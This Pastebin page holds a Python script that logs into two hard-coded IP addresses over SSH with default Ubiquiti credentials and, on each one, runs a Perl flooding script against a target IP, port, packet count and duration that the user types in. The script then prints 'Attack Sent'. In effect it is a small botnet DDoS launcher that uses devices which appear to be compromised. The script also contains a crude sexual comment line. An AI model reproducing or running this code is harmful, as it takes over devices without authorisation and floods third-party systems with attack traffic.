Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #import Zveu's nice ass xD
- import sys, os, socket, threading
- import paramiko, base64 #pip install paramiko or try python pip install paramiko
- ip = raw_input("IP/Host/URL: ")
- llport = raw_input("Port: ")
- llpacket = raw_input("Packets: ")
- time = raw_input("Time(Plz no more than 3600): ")
- blockSize=65536*16
- host = "101.100.185.119"
- host1 = "101.100.185.117"
- port = 22
- buf = 1024
- addr =(host2,port)
- user = "ubnt"
- passwrd = "ubnt"
- t = paramiko.Transport(host)
- t1 = paramiko.Transport(host1)
- t.connect(username=user, password=passwrd)
- t1.connect(username=user, password=passwrd)
- chan = t.open_session()
- chan1 = t1.open_session()
- chan.exec_command('perl dgh.pl ' +ip+ ' ' +llport+ ' ' +llpacket+ ' ' +time+ '')
- chan1.exec_command('perl dgh.pl ' +ip+ ' ' +llport+ ' ' +llpacket+ ' ' +time+ '')
- print ("Attack Sent")
- for line in chan.makefile('r+'):
- print line.strip()
- t.close()
- chan.close
- t1.close()
- chan1.close
Add Comment
Please, Sign In to add comment